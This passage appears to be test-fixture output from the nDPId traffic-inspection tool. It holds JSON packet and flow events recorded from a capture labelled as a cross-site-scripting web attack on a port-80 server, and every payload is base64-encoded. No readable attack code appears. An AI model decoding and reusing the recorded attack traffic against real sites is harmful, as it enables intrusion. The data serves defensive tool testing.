xVzEC+NbaObZ4L6kpolIOkGMKB86hqS4oyPuQ36yGynC0Rv6zvCD6PQR+Y0E4oATEAP9Q\/ZQFA90MbKV+w6qhdNtLKXwEqLTc6QyEkkOfIH8ZG3IHITiiW54BPnJZ4yGZzjf65XKyheMNxDdSCSzID85GrL+eMULPfEYYuAAUkNT\/oskjpV7u9aYeKr1EfLVv2rYIYMHeuMpxMB91Ib2f1QkqfEMolNpI5HMg3x1Vw06+FXzZ6fpCkSEppiMJC\/eQ3S4DneDQNJAvnqrhhx8UmEvxIgXqAPNLCqS6hCdhhs5i+yA4LMacNDzxlh8hhhxEPGhWURFsgyiw1v4GATSCIJnarhBqw7uQ4z4hB6wh2YxFUhkPIDo0MYgkDgQ3FTDDRrpcRhiwjlkhGYVFUkliA5njFxmncNZNdjA5YQR8IWYsBJu0GxCRbIZokMug0Am4DeTP0hE7BANiZAWOVAY5VATdVAehZAFyRAVmhXsEEEnTSd3RLBA\/K8iI4Ipo8ZOylS\/SetjdRu1kNoNmhkL4wv6w+7rvH1s\/Dc7IoIO9lbMx5A="} +11146{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":932764,"pkt_caplen":7992,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":7992,"pkt_l4_len":7958,"pkt":"AMGxFOsxABm5CmnxCABFAB8q0chAAEAG0xnAqAoyrBAAAQBQy+g57o4J8XXZc4AYAQSWCAAAAQEICgPiruIBON1rI7Sg9PU\/N4oOUw0CKYWd2tcPfg30wAzsxEV8gJ71AFsxGBURC5qZHPECelYaaDr8jkBdz1+8MIzjLapCg\/Y1Nj0rNjQTasDS5QcfaD85Db2rFbRgiGQ\/xEInDQLxwFJNflq+vr7y6PFj+ffcBdl\/8LAsXrZSpv2PuGuArqRZws+2bdu29T+too2d7GazVrC2bdu2bdu2o82+Tb\/+JnXz9+kz011zk9ypc+ph506ne6a\/6vKMmSAGDB4huvcaIDoX9xCtOxSK5q3ai9z8dqJN+0JR0LWX6N1\/sBg+aryYOXuBOHj4qHj85IlQqEryOslNJL+ZscC5uGnJslVi9tyFVl61ZoMgyg3jYb4Xyz51+izrb81buES8fPnSeU7zFixm3XPq9BkBSkjNVvOovq+d1n\/Ab3bs3MMac9uOGkz\/3bC27vjBoqUrrOPNnb9YlJWV4+eHtDE+hX88fuKUfo9lvEWitLQMt64MCCB\/CgMgqDt5pwaSphhQ7N67XyRnNBNJabkiKT1XxKdkiUYxiWE1BI5JSJfj5Mjxmot2nYrF0hWrQw8LdF9yb8nvMCwwQTLAx\/p78SnZofEXh\/EwG+LGjgXdWH8rM7eVCFHTpCzWPb36DhKggi49BX0R6aMu6mwb\/CY9J58zpvxdC0HU3rC2pU+ePBXxyfZ5xiZkiKqqKow3VBsjXTKEoq89ENU0RWzdvhO34sW8NSCQnAgDJH\/QAPIeDCZWr92AhdULN4lLEYkSMNgop8+cE0QXJf\/WY3Gwe6oArEYxSfaXm5gh9uw7IEg1e73PBzkWJwIAbfs7DaMTxfSZc0WIOhf1YK0\/p4Wz93HiIJ36LR723oznz59DOLHGxHxxiuE+w9quHDl6HALEOl7bDkWCqJE2xoLKykqRktnc93vv0WeAIPprQADpEQZACnRvlgqQemecTF169BWQbKR6jfBQu\/bcuXuPvWEGDxstiH7i80FeOX3mLEvKYi6Xr1wVkk5i7vOlutUgKoFxXzMBkkAcJfk1bowxz547D0HCWq80\/uVcrmHYowbVUSxYtFTO0TKeXAPUIqKP6Pbg4SPH5GmZ6ftdJ8t1K6dSEAD5cRgAGRMcQBRJjE2zect2QbRc8pu0BRbgQgZb5civEew+HuKXccPEKTNZfyNVSlGi7nBinDx1WiQwpDPU1nv37uO+zR7zgAryv1Vr1uPZsObSODZJbNm2A2M+l\/xGlzF\/40y0V3\/rWAAl1iLpnDbGL\/CPw0aOC+s9J0qBcv7CJXXciDI1f7jlEyAzAwWIypBK02fVqCwLNZfg9wRcauMms8aC\/fTgwUNlE7LYEe25Ldqy\/gacEEQ\/lE6IxRUVz1kSP1baZAcOHcF99zzm8WNc7DdwmK\/nN3rcJEH0dZcx83AhIzefBeDKyhf4+SRtDHghpd3VMqz32yA6QX2\/XwwEJP7LdJcHDhCVESOAx4NolmJDIB5yw5HSydkMozBVbNy8LSRR38Z8gMuelZTITW5X4+CBgidH0nVpF\/16\/KRppc7macbbPPASEX3YZR4ZuJCd10a\/j2s3RLmMOfHFixcimaGiNmvZXhAla2Psu3f\/AU77sN9vs\/yasZsHBJB8nwDZYgFIECDJEoulK5KorbLAcTCguXZI9979BdFfGA8PKt2zHbv2iOimadaxASIYxRcvXUY7\/YpW7QoEaODQkay5devVTxD9zmUuo5x1ElC5nJKZJ4h6uIx54OKlK6xnN37SVDcp\/wGYTavXboQ6F\/a7xd9\/9qwEY68KCCB\/8QmQfbUCCCRpalZzKXXaiaJuvR3OatYKkgqbSG62FP0e9rhkAD9VpCyi9KK4e2\/WGPC0EPW3PjzS0fsMGMLzyPQeKEBde\/ZD9NvxrkHFQqwoirFmPCOiZi5z2X3t+g3WSaarRmVljnt7iUuwtWLjpq2icVyKVc0l9e+2NkYM\/rFTUXezPWkJBcTEp4XcveWwtQIAyGd8AmRtrQACr4gbwVtx69ZtsXf\/QTFkxBjo5iyDU+X8tp0E0QRa4Nvxojdv3cECHqTV9Rs3cf9hxsPriR+mZNjdl3FJGWLXnn3YjFKaJtf8O9S\/m3LNHMkPAUIendHaPJDWUQqDG+5wv+opPHBwmWtjwiaRNtM41slIMaR52hhTcKqlZJjVK3jx7Cf7AEH0t4AM9TIfAJlWVwBJkvwnUmda0qZGePcJLj54+EhK56F4iewXHiel2dZtO0PpDt+jRa5++vQZS1VoLKXZMhk7AV4ZOWH7b0gwJabmsCR1RUWF2L5zt\/rvIbUQwoAF3lu37+Dn27R5fFUyshX8G8FRiaEsgiot8BqLf8xv3ck6BgxwojwtH+4WsgsSUrKMzocefQbKUyrJ6kAh4TAsCDXL5xev+tcVQN7iMaHXkdEIixYbVkmxsHNaVp6AcSlppuppat6yPev+DgVdTYarql9XYYNzTrn2nbq42hsyGVGA2nQsYmUXUDDzoTaXaGczt1E3M5+RAuQS\/+nLPR0HD6f4EQkk4u847u\/J021xDpyiAL\/llIK79yKGPB8EQHw2dmhT3wBRfftzCSRS183gqQ0yKo7AFG2kN1AmsZg1ZwHrOMdLg2ogabzn3GhTtrNvbHjH8GxgoEPVco2LTJs5l7W2GbPmCaKP6ZvZy9vUMCoRmQKeY8IWJEpTxlxz\/8EDPAuL+zkNuV+O3adlIDiD5uS15dh8sEktgch4PKNA3L0EkIs+ABIVCYCoRzV8uE5CY0PGBgcPGjpKEP2axjmJqDEnHQTqDiLSki4b5jUJpxRHvYJ0RCbu4aPHXK\/DDYprnEhzkXQ2EP1RmctabGYPKYxAJNZkFAhEQ5Qxb+8\/eFjEJWZa1wZVGK9fez6bnjx9aj0ZCoodMw6OGoa7twbIeQEA5JwPgHw6kgAJ1Thcgv7NTaNIy84TRP0wBv03Kx+oQZMEMWN2jaT+gsecriOmwUk2hGoHGjdhqtt1OCVKYORy1oagHVELZS539x04BG+PJwBMaTAQGg8fOZt8I8YjD6CYOWeBH69fJ2U+sGUqYQuavHNQTRcsWiZAy1euEY2iE612CGxJFYyRYh8N5q4CEBEFiBoIQ6o813d+5eo13HIa99NJIvoPHs66H\/o8USbud\/PwjJ0whWX0z5Up7aD07Bauvzl6\/MQ4XE\/DdUZOFiUYjsNcqJZDTJ0x27CJm5mi4SjEgkqqRunhOBGFXXvZXdd9B+onNfiV6hSVftaTGkY86Nq16yLRctpEw927LRh3rw8v1oygAIIH8gQp9dEJ6da\/AVVsyfJVguidZIs8gtoQy7BlIK2QGStpvstcIMYRl2B5r+DpunDxktdvoFj\/HOP16jfYPl5GrkC8Q9JOmsvfnVT7wm5G13eBRbAQiEEfoUAr0uGtGdbrNmxyMg+0dzkCHifbaQ2wI8uXXPwAst3d2yuy7l4Cx\/t8qFdZQQEEvAubjRkMQw6WribNxqbHi+G4i2EXwNvsUj66GpnEHJUIpwY5CNyuP0FdBz2HSjw\/BA9tUhSRewgLmktnm+o4XCYKjps4hRulR9HVDAQwISSs4L95C\/fs0J7PeUTg8XyYp\/RGNaDIdPcOjyBAvuUDIF8OEiBToV4QQNiRa0hour9pteepmHX\/qFcT+X6gzAFp9WU2\/RrcQPLYiVOFwQWbo9Ry7IMTgWP0T5k+SxB9Ag4Mk\/0CwK3fuEWs37DZCD7kg4HodDxy9twFAMAKEKLeyvP5Qo1AsKTIK0mIeD9VK1evswoIrPPcecfdeyGCAPkbExz7lSKpN0n+AL3fiAGkoNol2IL1d1BNSPQfNTcIBiGniCq7eWs3rwkaTkjde5DdG5aa60Sp79y563Z9j9q7CgEwSMbENHu8p7BLL1XaX4Ae7xVMRfwIGwrlz\/HJ2cY4A0nmsRAASNqkiL8Xo9jLrWQ3x3lgrTpY04Ko8O0a3XcIz8nm9YKbfpq0t4i+FCGAtGYCJE8BSArq0SMNkCjc1KZDEevvZDVv5WZo74RblZOhCmkOVUPSHOX+YgekmXksRwE2HWI4Ltf\/olUDxjquqTYd\/Xiy2kHyIhKOjePhocIa4IqF9OXUmzjiWWYaW+txKAsAqHqvmt2MunSs3aYqkbNhihrLSWc4KnLz20bM3UsAWcgAxwvJHyJwQPBtxXuNNEC+j5uGjhzLdPW6FkBB8UVdOKvW5NjxkwIuXeX+9WgmwbE\/UJuh1JGrfNylXPbzzsacOM1PTtYeWzYwgExkPJ1gcx09doJdCowThwqZjmrZzSWI9sdYHCmoTydKUD1n\/QYNZwkecveuiQRAmAVTK5TTo4nk7UEA5JPV1XszWH8nI6dGr26pjPFtyVajlVitH\/8UecJKdu7ei+i4NQkQsQmkabukoiR71JTf27f\/IPKTrJF+qCMkvUVeS291pj2lzdjcyCipXbFqnQBxCpwgICjbYITybH\/ruNItmxxxpjnkNcM7VbyUFUjojE5IszgqUkOVkOWo26lncHyWqV41UAByWPLkyAOE4g+DhpDE5Ede47RxrkFv55S6tm5fIIiiyVgXw0aMYalncGFu3rpdv3Zb8ps9ALKc4x0D+Ci9HGRMB4GqBOJ4iYbKdZHL1erBoloWPV+tD8dGxLPxKKNdD4cDJ6m066tet7\/XM0CaMsBxSvLrlEZxmGNBEAD5eXVtRx9lPJYR+SdtnNGQfrZNQDq8mkUKn620bVrjGiuFAsmI2rXOhi6UnVkJgtLeQJ8qkAlQTeKSKU8KRKXHdrUHPc3MHqwo1QMlPqE818NI3U9MNwMc66NniiOoQmEYJeiVFrS7VwXIagZAYpXTYzvNMSbyAKH+U63admb9HRz1RN\/B\/Xqkt2uPvqy8LOr8cRBBQ6Ss499sBT7wAuEEQdxC64T4fgNA4JWSHVv6MOyboYKasSEB0lNSI0JNtS0v1qzbaEznSJOSH4SoelxiBqd0+JLyTBHPEZzsZjTH2Lh5qxfDZmN1ZIErGk6FelavqizgOCP59QSOXylz\/FEQAEFgg13fPGnKTDXzVe8TW44qNeiztmo3+OdJut2XaSHYkNZTB7YHovbatZGSTX2M3wWpCq+XLesYblTQUpkt0MAwD5yU5Lo9ffLUGZFoUCuTqCR46fLVOKWM66Msg6lqoz6uhxEAahRjZk6+3JTpNe7eL9cTQHoyTo945fRYr8zx\/UEAZC8it5CM9peAjb1egDxa2qxEswWWvtuznwjRlGkzuXlcegHTS8lftHUVx6GAugdIaWstuaWLSU6Ltmoa+zxUM5rUSggeZCqgPsToZlXGVZ7nTHQ1IeEVEVbm0aIewPFG8l5xT49YZW738C4jDZCPkZrAaQAAaQj1wtQULdsW0FKT\/UCcoiQE16BmQD\/WjOclnLb7qKqEFLcFDDF2SUkpQOBdyPRqyv93yb6BGmXqLgnPm3WNo8dPFkRfUQrc7qMDI9XsRIQh3JBSXx\/uXniluC1GcVpon9peHQRAYHGjuMdv84U+HuN9GhfnzFuI04ZT8wB1BRLS+lu4YBEl1q6lMgECqYxgmPnvyCj9mbPnARSPLOIkpxkEGb9vpM9NiA6duxqN\/4WLl6N4yViMBle01p\/rh86JOZpOzAgxXO3k7q2oa3cvGi8w687x3qZqc+seaYCgNvwBNgSpV+wgnaF3L\/j41WvXrTlHMQlOgiAycqH6sBpTT5sxR7\/2ZSZAvon7R1g2G04qdIb3KgBLkCcQZf3uobV+RrKYNNWsIvbsMxAg57TgWST0DpYUO4kkw9FC9I86BMfnLcb5A8kfJHD8yWVe\/4okQF4LewEqC7q88xo3yNptmRZPZaBvNIzdu9pvb08bQetMuFZhHJq6AE6eNku4uCrvcMABJnXlqROMjE+1GOod0VHd0\/tGbtCRynofY9yY+HSjmgUhwGjPqgZft6MjJYE1opycUZNVMKIOAdLbcnqkEDjeJvmiy7w+HimAYLMMkIzGyCjsYXctp+9ULLKM\/8vqwOMoVuKiNf0i3QmAwdDVr83nAoRAsgEltJx0FkadudrpcBviFKY4C9zSpiTFAUNGCKIfKtWe\/1u3fpNyX+QYYOa7e9nG+R0DODZLfi0BpL\/LnG7hHUYCIPCrOz\/cuWsPOicyGzKniAkyFYXon5YH8nrJD\/GxHuQi2XKPbAE8XActWrJcv5bnEyCwt6weNpPthGg\/0bf0QiZD5N34HNA9khq4lSg9kBtIRmCU0xsMjcShhrKYU84Md\/gUOrXhNKgDgKQZwHFf8icJHN\/3+GbksvoEyJuodHM45dmI2fMXETj4ng1qYraL91Dgnqy0Gt+wfWwbdshwZ1OibZB+7Xs+AfJKbToSQpKT8VqmdRpJr+7f2zZsrxEyoSWt17+NAtBxHCf4LZeQKuTT3ZtfS3DArnjgAQ7YJH8ncLxB8iGP+RTWJUDm08dbVuCgIMkEQq4R1AQ9KGdNYsPnzYh+w3ow1B6zfecuHGnleQ15XahARPcS7XdPJb\/eJ0A+JBlrMdg8ZjBTpd9Oba0\/cdJfBg61jmFxdxcpY16Fx47Tt6yttCGJELjMNDA8HQgEIq2F5dInd+\/aWgJkquH06Kd4rYoN8\/lbrQGCZmL4sA28IbAV8L+hu2\/fsRtNFeCr1496dvYuTgOffvH3QYdGTYU9vmJvTL1uw2b92houMDSQXETkO17vSsizwbw+OoM2rFUoGNPVM17z7P5682yno+MkRvAUGx0fCyL6NOO9nAXwAHbOp9rQWpbcvW8PExy\/M4Bjp+Q3EDj+IbnKMJ8P1RogMD5xJCdRs2r8d0JajiXtwy5FqKduuaJ3c3kbvDCWIipLtL2vAMFNql0bGyZAZiKdQwkYshkfRyWKd1nrOXQy5Eh8XW3D+5VUqcQcoNIgWMk51dDV3o8xPZybUApG\/hrRK2GA482Iihvsjk8ROL4k+bFhHlfx7uwACcCTQcU+EJtNwpAg2FHwVIX191G\/gS\/GIpHRpXn00DAB4lj8mUrnFC6PkCkuRF9zWesC2Ggcm0H30FFmwm61eQW0AAgnjv1Bp9p45jt5hYx\/v59qGxkGQIo9wFEu+ecEjndKPmmZx+TgAGLQ\/eFiJOoYBjgoOIcy0+lhq1fIc0Kxj8v1vmEC5EdOteDgkf4+dirVDaiqZM+9zmWthbiYZoj9WGrW+9M4cLCUQzBExdlPfkTwiWJY74SazzmpRXHJjBMqO9QN85IBCKjZeIfWceTLkitcwPFS8r8JHK+VvIjxnP4QOEDUWof07PxQ637QxFq6+K4gUh9O7KEN1VEMdS+k6hYmQODRq8A3GGmDsA3026g2pA7wLvxvxSnBZvTdIvoXjfNnyegcw0ocheub6KM+3slmbv8AMGwhD3cvgPAWyX\/UwAHeZOtvRcVPwsI3qRY9eIDAcEWtR3l5ecgwa6NKyzB5JCQkYhl+P0+NdHjoyx4G9Tg8oDBBshPfS9FBy2zFM8hjnZ+rLlvmn5Zofk0tQnGEvF8tPcC3Pzju4UuXr+DnJ32+kw5+vm+Yk9dGjfKr4Hiv5A6hzFuFEzzA0R3XGUa5ygPwzgIDCKQQNkoHKflQ0EN0SPI36ijF4G\/cL7rqLx8GPgqIPH6zoRYAwSbXAcJtxhZrSN15itwyFHZxTyWKVp+gMagZ+FWOl0mtIBweTpOOYSPHst8FfRp8nQIOGNgzXFSr90u+5wKOibjONMpV\/l7EAYLCGSwanwhAkh2OW6IS7GVLnpVfRtOAMujvVAXIllqWRhIXawGQJtwiJDUVnVFEtAPpMGhjygUItegZrTbPQCY0FVYZuVNhd0HUwOc7AZjvIdOB0\/ke9temzdtq3L1yk39b8m7JH9XAgXSS9S7gmAw7hWmUq3wS78sKENQ\/w5sAhtRLIhcu\/jei4dh4uv8dsYfY+HSoJ9X3yHuRFdqr72CoLoiPhF5OqHQ0S\/I766nMcpn08FDCXo6V45IzZQfB+cLibUI6wvvCBAjiBeisgriQdT7wpu3avS\/UlvS1hnWOgkSPS7SOCQZA9eYXaZJFW9mhMj7ZOAYCvah61NQzPpO7mzVX\/K1e\/QYJ0LVHWzpTp\/VvuNgd413AMU7JsXoDpYwIJuewAKJ\/bxCeHTQjQ003fO8oxtkiAzpLZUkpPtuMEwdHPVQmHOGQangYCr2kYx2R1x9HoAcSwIfvfUuuZDHWCVXD8gCTa3GK3IJ942c+MG7rcJ2qgPoM3b+Qe78yp8NhvpMEP3+LviwmrjzcWBkqaNL4\/+3dA3AkeRvA4f+svXu2bdu2bdu273K+Pdu2bdu2bWW9eb\/n81RXZWbTnWW6qp6o2O+bXzWSTA4gMs6piqM9NxDD6Gs6UzeQDdmJgziR87me+3iOd\/mWxkwAv\/E5r\/M417IPi9ODNAJNxuVB1qAhjTd+9duTQfzR\/\/Nnw9cs5Jonnnp2gH\/WU2+I9xcIZB8ub6HNSTXMwuUtdB4J4gwub6GtSDlMwOXD6rd+H79sR\/HT32\/fQQIQwLo0EVX6Vt1zVLiCaIFdSfW0dOkd6UWFNDowwK7NvIreoUQdgxifBK2tZBftOZPgKFLG\/PQjqpxAqtrl+UTrnj2grSyhkWAA41XdzH1O1HE+idZXxjEZTxJcScqYgu8JgsHskImjL1Hs7FEG8mUzz8rnZyBRwxBmJ7WqMo61+ZXgATqRqvTibYLgV5bJxHEcUfzsUQbyKkHwGz2rhrw7UcdjVEiFlWF05QKC4NpsHHTgAYLgQ6bPxHEIkcPmpCqUgdxKVNk\/M+wbiToaSIWUcczOOwTBqVRIGecTBI8ydmZfexM53EHKoAxkL6LKd3SuGnhn7iDq2IaUSxnHbgwgaGJvUhZHEARn0TETx45EDj8zASmDMpC5iYzdMoPvyA1EDYNZkTTMyjDG5U6CYCAbkTIqnEnwDSuSMjvaiSYih\/VJWVAG0o7fiSp\/MnlmAe25gqhhENuT6irjWJpvCII\/WIaU0YnrCG5gbLJxHEvkdD0pj7a0rLuIjIeoZBZRYR8GEjWcSXtSFSjD6MMZDCUIvmVOUkYPHuQ3NiEbRgcuJ3L6jnFItZWB7EuQtSOJ7GLm4n2ihoeZglT635l6e34iqrzPlKSM8XiJh5mU7A56cD+R01BWItVXBjIfQdZfTNlMJN24kKihkf3p0MbjWJzXiIznGIeUMSWvszsVsrOfgFeIAnYkFdHWlvgmQdZTdCE1E8rCPE\/U8CaLtMEwpuBGgqzb6EbKmI07mamZeU\/Pp0QBR5FapgxkC6IZd9ChRiQVNuRzooZ7WKwNzLIbR9GPyGhkRxJZC7E3HZqZ86L8TBRwIanlykA68Q3RjKuokGqE0oV9+IKo4VlWpzIGznFDviTIepHpSWTNxOw1ZrsXg4kCbqd9GUhO2b8rIOssUj3\/WcJaPErU8B5HMOcYMLvFeIogawhH04FEVns6NzPLntxEFPQUXUj5lYH04S+ihgYSUD+WWTiPn4kaPucMlqbDaDKvDmzIi0QzPmEhErRodrPyPlHQ24xFKgMpvvTTiDpupmcLl92epTmbb4gafuUq1qXHKDij3uzDF0QNl9AjZxyb0EgUdH\/rxlEGMhZfEXW8z8w5l19hQU7gOQYSzRjAPWzPhCN5NlPSlz+JGn5izZyz6cS5BEWdSDtSGUgrsqglGUrU8RcbkPLI3NwvxoHcxS8EWU28w7UcyMpMOgLmsSA3MoSo414mzDmHuXmdKKiR9UlQBtLqLOxEYhhdxMSkIjJnmMlZgT04j8f5niDrFx7jDLZhPrpS9DJqU54h6uEHtst5vJ1pYDBR0KfMThq+ykA68goxjPpxMuOQaigaTx9mYgGWZz22YW+OpC+XcgNnsy\/rMh\/j1TnmCdiB+xlE1MNfHFngXmMh3iOK4kHGJpWBjJhIZqSRaIE\/OIKepNHAVOzN0wwlhtEgzmaCnGF0oy9DiYK+Y2sqpDKQERvJegwiWuhnzmVp2pNGIbNyGK8RLdTEDUxb4Cy4HJ8QBQ3kBHqSYGQEUkayMv2InH7kQpanA2kEmpI1OJxb+JzI6VHmKxDGrNxDFMVtTEOCkR1IGcmi\/E4U9AsPcQH7sy5z0ZtUQFfmZRvO4kl+J4ridVYsEMZEXMwQoqC3WIYEZSCjUiRz8gPR6uAXXuR6GjiMBvpyPldwI3fxMM\/wKh8xhGhlH7AZ7XKG0YOjaSQKepOtaU8qAxl1I5mOT4gxVD+uYLECZ4xe7MX3RAFDuJklSEAZyGjx69wNDCTGEC+zE70LhDE9Z\/EXUcBPNDAZCcpARsdQpudBYjT1G2czZ4EoKqzAPTQRBbzEFnQmwZgQSBnKunxJjAaaeIxN6FIgivk5hveJnIbyFPswDQkY4wIpI+nO3rxMjGJ+4Q72ZdqcUXRnTS7heyKn\/tzJ1oxHAtpMIGUs03Io7xAjwZdcw47MQqXGN\/48bMnqLMbsLM32nMztvM1AIochvMXFrE130n+VgZSxzEYDL9FItLIm3uUCNmWKHGeHdXiaoUQBTXzItezFoi0NogykfG2oaViDQ7mSu3mW9\/mBQQzkD77nc97jRW7jTPZjQxZhnFb8Rchx2YgDOI1reJi3+IHPeJF7uIyT2I8tWYY+pLbiH+bt3RTCkaIEAAAAAElFTkSuQmCC"} +00428{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":933097,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nkBAAD4GJ5isEAABwKgKMsvqAFAHDkNVohK80oAQAOX4AAAAAQEICgE43WsD4q7i"} +00429{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":933363,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DrFAAD4GtyesEAABwKgKMsvoAFDxddlzOe6TsYAQAUMIZAAAAQEICgE43WsD4q7i"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":76,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1499346957283,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52220,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346957,"pkt_ts_usec":283336,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8F6tAAD4GriWsEAABwKgKMsv8AFD6EcpoAAAAAKACchDvQAAAAgQFtAQCCAoBON3DAAAAAAEDAwc="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":77,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1499346957283,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52222,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346957,"pkt_ts_usec":283356,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8iOxAAD4GPOSsEAABwKgKMsv+AFCTelUvAAAAAKACchDLDwAAAgQFtAQCCAoBON3DAAAAAAEDAwc="} +00441{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346957,"pkt_ts_usec":283476,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQy\/xzRrv9+hHKaaAScSANvwAAAgQFtAQCCAoD4q86ATjdwwEDAwc="} +00441{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346957,"pkt_ts_usec":283502,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQy\/7+F1DJk3pVMKAScSDJ8AAAAgQFtAQCCAoD4q86ATjdwwEDAwc="} +00429{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346957,"pkt_ts_usec":284023,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0F6xAAD4GriysEAABwKgKMsv8AFD6Ecppc0a7\/oAQAOWsxgAAAQEICgE43cMD4q86"} +00429{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346957,"pkt_ts_usec":284024,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iO1AAD4GPOusEAABwKgKMsv+AFCTelUw\/hdQyoAQAOVo+AAAAQEICgE43cMD4q86"} +00429{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346960,"pkt_ts_usec":890921,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iO5AAD4GPOqsEAABwKgKMsv+AFCTelUw\/hdQyoARAOVlcQAAAQEICgE44UkD4q86"} +00429{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346960,"pkt_ts_usec":890949,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0F61AAD4GriusEAABwKgKMsv8AFD6Ecppc0a7\/oARAOWpPwAAAQEICgE44UkD4q86"} +00428{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346960,"pkt_ts_usec":890952,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nkFAAD4GJ5esEAABwKgKMsvqAFAHDkNVohK80oARAOX0IQAAAQEICgE44UkD4q7i"} 